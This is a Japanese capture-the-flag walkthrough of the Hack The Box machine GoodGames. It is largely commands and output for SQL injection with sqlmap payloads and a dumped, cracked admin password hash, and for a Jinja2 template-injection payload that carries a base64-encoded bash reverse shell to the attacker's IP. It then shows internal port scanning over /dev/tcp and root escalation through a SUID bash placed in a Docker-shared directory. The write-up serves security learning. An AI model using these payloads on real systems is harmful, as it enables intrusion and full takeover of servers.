見出し画像

HTB GoodGames

  • SQLi

  • SSTI

  • ReverseShell

  • Docker

ポート探索

nmap

$ nmap -sCV -A -v -Pn -p- --min-rate 5000 10.10.11.130 -oN nmap_result.txt

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
|_http-favicon: Unknown favicon MD5: 61352127DC66484D3736CACCF50E7BEB
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET POST

80ポート探索

Web画面

SQL injection Check

画面からはemail形式で入力するようにチェックがかかっている

BurpSuite

authentication bypass

SQL Injection

sqlmap

$ sqlmap -r login_sqli.req 

[INFO] POST parameter 'email' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)?

Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=admin@goodgames.htb' AND (SELECT 4281 FROM (SELECT(SLEEP(5)))QYGU) AND 'OSbl'='OSbl&password=aaaaa

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: email=-9139' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6a6271,0x70474f69726674536c786e4141514848704b554964684277586863574c666f53555763475842566d,0x7170787171)-- -&password=aaaaa
$ sqlmap -r login_sqli.req --dbs 

available databases [2]:
[*] information_schema
[*] main
$ sqlmap -r login_sqli.req -D main --tables 

Database: main
[3 tables]
+---------------+
| user          |
| blog          |
| blog_comments |
+---------------+
$ sqlmap -r login_sqli.req -D main -T user --dump

Database: main
Table: user
[1 entry]
+----+---------------------+--------+----------------------------------+
| id | email               | name   | password                         |
+----+---------------------+--------+----------------------------------+
| 1  | admin@goodgames.htb | admin  | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+---------------------+--------+----------------------------------+

hash-identifier

$ hash-identifier                                                                 
/usr/share/hash-identifier/hash-id.py:13: SyntaxWarning: invalid escape sequence '\ '
  logo='''   #########################################################################
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: 2b22337f218b2d82dfc3b6f77e7cb8ec

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

john

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 adminpw.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
superadministrator (?)    

サブドメイン探索

サブドメイン追加

flaskの画面

SSTI

{{7*7}}
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{<script>alert(1)</script>}}
scriptはNG

ReverseShell

{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzkwMDEgMD4mMQ==|base64${IFS}-d|bash').read()}}
$ nc -lnvp 9001                                                           
listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.130] 50394
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# id
id
uid=0(root) gid=0(root) groups=0(root)
root@3a453ab39d3d:/backend# 

Docker探索

Dockerfile

root@3a453ab39d3d:/backend# ls -al
ls -al
total 28
drwxr-xr-x 1 root root 4096 Nov  5  2021 .
drwxr-xr-x 1 root root 4096 Nov  5  2021 ..
-rw-r--r-- 1 root root  122 Nov  3  2021 Dockerfile
drwxr-xr-x 1 root root 4096 Nov  3  2021 project
-rw-r--r-- 1 root root  208 Nov  3  2021 requirements.txt

現在地はbackendサーバでおそらくfrontendはDockerで構築されている

root@3a453ab39d3d:/home/augustus# mount 

/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)

IPとPort

root@3a453ab39d3d:/backend# for IP in {1..254}; do bash -c "ping -c 1 -w 1 172.19.0.$IP &>/dev/null" 2>/dev/null && echo "IP $IP is exist"; done

IP 1 is exist
IP 2 is exist
root@3a453ab39d3d:/backend# for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
<ull" 2>/dev/null && echo "port $PORT is open"; done
port 22 is open
port 80 is open

SSH

root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1
ssh augustus@172.19.0.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Host key verification failed.



root@3a453ab39d3d:/backend# script /dev/null /bin/bash
script /dev/null /bin/bash
Script started, file is /dev/null



# ssh augustus@172.19.0.1
ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password: superadministrator

Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ 

疑似端末

script /dev/null bash の動作は以下の通りです:

script が新しい擬似端末(pseudo-terminal)を作成します。
ログファイルとして指定された /dev/null は出力を破棄するため、セッションの記録は行われません。
作成された擬似端末で新しいBashシェルを起動します。
新しいBashシェルが擬似端末を介して操作可能になります。

ChatGPT

Privilege Escalation

Dockerとホストでファイル共有

Docker側

augustus@GoodGames:~$ cp /bin/bash ./

ホスト側

# chown root.root bash
chown root.root bash
# chmod 4755 bash
chmod 4755 bash
# ls -l
ls -l
total 1368
-rwsr-xr-x 1 root root 1234376 Nov 25 23:46 bash
-rw------- 1 root root  417792 Nov 25 23:37 core
-rw-r----- 1 root 1000      33 Nov 24 04:20 user.txt

Docker側

augustus@GoodGames:~$ ls -l 
ls -l
total 1368
-rwsr-xr-x 1 root root     1234376 Nov 25 23:46 bash
-rw------- 1 root root      417792 Nov 25 23:37 core
-rw-r----- 1 root augustus      33 Nov 24 04:20 user.txt



augustus@GoodGames:~$ ./bash -p
./bash -p
bash-5.1# id
id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)
bash-5.1# 

脆弱性

flask

nameをsanitizedせずそのまま使ってdbを更新している
しかし、flaskでは{{…}}を文字列ではなくプログラムコードとして解釈する

from flask import render_template, render_template_string,request
from flask_login import login_required, current_user

@blueprint.route('/settings', methods=['GET','POST'])
@login_required
def settings():
    if request.method == "POST":
        name = request.form.get("name")
        user = User.query.filter_by(email=current_user.email).first()
        user.name = name
        db.session.commit()


いいなと思ったら応援しよう!